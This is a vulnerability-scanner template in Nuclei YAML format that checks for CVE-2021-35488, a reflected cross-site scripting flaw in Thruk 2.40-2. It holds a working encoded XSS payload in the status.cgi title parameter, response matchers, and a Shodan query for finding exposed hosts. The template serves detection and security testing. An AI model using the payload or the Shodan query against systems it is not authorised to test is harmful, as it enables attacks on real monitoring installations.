id: CVE-2021-35488

info:
  name: Thruk 2.40-2 - Cross Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Thruk 2.40-2 allows /thruk/#cgi-bin/status.cgi?style=combined&title={TITLE] Reflected XSS via the host or title parameter. An attacker could inject arbitrary JavaScript into status.cgi. The payload would be triggered every time an authenticated user browses the page containing it.
  reference:
    - https://www.gruppotim.it/redteam
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35488
    - https://www.thruk.org/changelog.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-35488
    cwe-id: CWE-79
  metadata:
    shodan-query: http.html:"Thruk"
    verified: "true"
  tags: cve,cve2021,thruk,xss

requests:
  - method: GET
    path:
      - "{{BaseURL}}/thruk/cgi-bin/login.cgi?thruk/cgi-bin/status.cgi%3fstyle=combined&title=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "'></script><script>alert(document.domain)</script>"
          - "Thruk Monitoring"
        condition: and

      - type: status
        status:
          - 401